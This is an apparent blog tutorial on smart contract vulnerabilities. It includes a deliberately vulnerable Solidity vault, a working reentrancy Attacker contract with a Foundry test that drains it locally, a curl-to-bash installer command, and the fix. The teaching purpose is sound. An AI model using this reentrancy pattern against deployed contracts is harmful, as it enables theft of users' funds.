top of page
Search

Smart Contract Security: How On-Chain Funds Actually Get Drained

blocklocksolidity
Aug 30
4 min read

Smart contracts are unusual software. The code is public, the money is inside it, anyone can call it, and you often cannot patch it. Attackers get unlimited attempts against a target that cannot move.


So the vulnerability classes are narrow and well documented, and protocols keep losing money to them. Below, you'll build a vulnerable vault and drain it yourself.


1. Reentrancy


When a contract makes an external call, it hands control to that address. If the recipient is a contract, it can call straight back in before the first function has finished updating state.


// vulnerable
function withdraw() external {
    uint256 amount = balances[msg.sender];
    require(amount > 0, "no balance");
    (bool ok, ) = msg.sender.call{value: amount}("");
    require(ok, "transfer failed");
    balances[msg.sender] = 0;   // too late
}

The balance is zeroed after the transfer. A malicious contract's receive() calls withdraw() again while its recorded balance is still the original figure.


Build it and break it


Install Foundry and set up a project:


$ curl -L https://foundry.paradigm.xyz | bash
$ foundryup
$ forge init reentrancy-lab
$ cd reentrancy-lab

Put this in src/Vault.sol:


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract Vault {
    mapping(address => uint256) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "no balance");
        (bool ok, ) = msg.sender.call{value: amount}("");
        require(ok, "transfer failed");
        balances[msg.sender] = 0;
    }
}

contract Attacker {
    Vault public vault;

    constructor(Vault _vault) {
        vault = _vault;
    }

    function attack() external payable {
        vault.deposit{value: msg.value}();
        vault.withdraw();
    }

    receive() external payable {
        if (address(vault).balance >= 1 ether) {
            vault.withdraw();
        }
    }
}

And this in test/Vault.t.sol:


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "forge-std/Test.sol";
import "../src/Vault.sol";

contract VaultTest is Test {
    Vault vault;

    function setUp() public {
        vault = new Vault();
        address alice = makeAddr("alice");
        vm.deal(alice, 5 ether);
        vm.prank(alice);
        vault.deposit{value: 5 ether}();
    }

    function testDrain() public {
        Attacker attacker = new Attacker(vault);
        vm.deal(address(attacker), 1 ether);

        assertEq(address(vault).balance, 5 ether);
        attacker.attack{value: 1 ether}();

        assertEq(address(vault).balance, 0);
        assertEq(address(attacker).balance, 6 ether);
    }
}

$ forge test -vvv

The attacker deposits 1 ETH and leaves with 6. Alice's 5 ETH is gone, and no arithmetic was broken — the contract did exactly what it was written to do.


The fix


Ordering, not cleverness. Checks, effects, interactions — validate, update your own state, then talk to the outside world:


function withdraw() external {
    uint256 amount = balances[msg.sender];
    require(amount > 0, "no balance");
    balances[msg.sender] = 0;   // effect first
    (bool ok, ) = msg.sender.call{value: amount}("");
    require(ok, "transfer failed");
}

Change that one line and run the test again. It fails at the second withdraw, because the balance is already zero.


A reentrancy guard works too, but it's a seatbelt. Correct ordering is the safer default, and guards don't protect against cross-function reentrancy on shared state.


2. Access control


Less glamorous, extremely common. A privileged function ships without a modifier; an upgradeable contract's initializer can be called by anyone; ownership transfers in one step and a typo'd address bricks the protocol permanently.


When reading a contract, list every state-changing external function and ask who may call it. Anything that moves funds, changes an address, or pauses the system should have an obvious answer:


$ grep -nE "function .*(external|public)" src/*.sol

3. Unchecked returns and non-standard tokens


ERC-20 is a specification many deployed tokens don't quite follow. Some return no boolean on transfer, some return false rather than reverting, some take a fee so the amount received is less than the amount sent.


Assuming a transfer succeeded because it didn't revert is how protocols credit deposits that never arrived. Use OpenZeppelin's SafeERC20, and if you accept arbitrary tokens, measure the balance before and after rather than trusting the input.


4. Oracle manipulation


If a contract reads price from an AMM pool's current reserves, that price is whatever the last trade made it. With a flash loan an attacker moves the pool, calls your contract while it reads the distorted price, and unwinds — one transaction, no capital at risk.


Spot price from a single pool is not an oracle. Time-weighted averages raise the cost of manipulation; established oracle networks move the problem to a party built to handle it.


5. Arithmetic, post-0.8


Since Solidity 0.8, arithmetic reverts on overflow by default, and much of the writing on this topic predates that. Overflow is largely solved. What isn't:


  • unchecked blocks — used for gas savings, and the old rules apply inside them.

  • Downcastinguint256 to uint128 truncates silently.

  • Division order — integer division truncates, so dividing before multiplying loses precision. Multiply first.

  • Decimal assumptions — not every token has 18 decimals. USDC has 6.


6. Proxies and storage collisions


Upgradeable contracts run implementation logic in the proxy's storage via delegatecall. If layouts don't match, writes land on the wrong slot — reorder a variable during an upgrade and a balance can overwrite the owner address.


Hence storage gaps and namespaced slots, and why an upgrade diff deserves as much scrutiny as the original deployment.


Your exercise


  1. Run the drain test above until it passes.

  2. Apply the checks-effects-interactions fix and confirm it now fails.

  3. Add a second attacker that reenters only twice. Does partial reentrancy still profit?

  4. Work through the first five Ethernaut levels. Fallback and Fal1out take minutes; Token and Delegation teach more than they look like they will.


Where to go next



Curious how this applies beyond the contract itself? Your Contract Is Audited. What About Everything Around It? covers the off-chain surface most protocols forget.


Run this on your own machine or a lab you're authorised to use. Every command here is safe against systems you control. Pointing the same tools at infrastructure you don't own is a criminal offence in most countries, including under the US Computer Fraud and Abuse Act. The practice labs linked above exist so you can do this legally.

 
 
 

Recent Posts

See All

Comments


bottom of page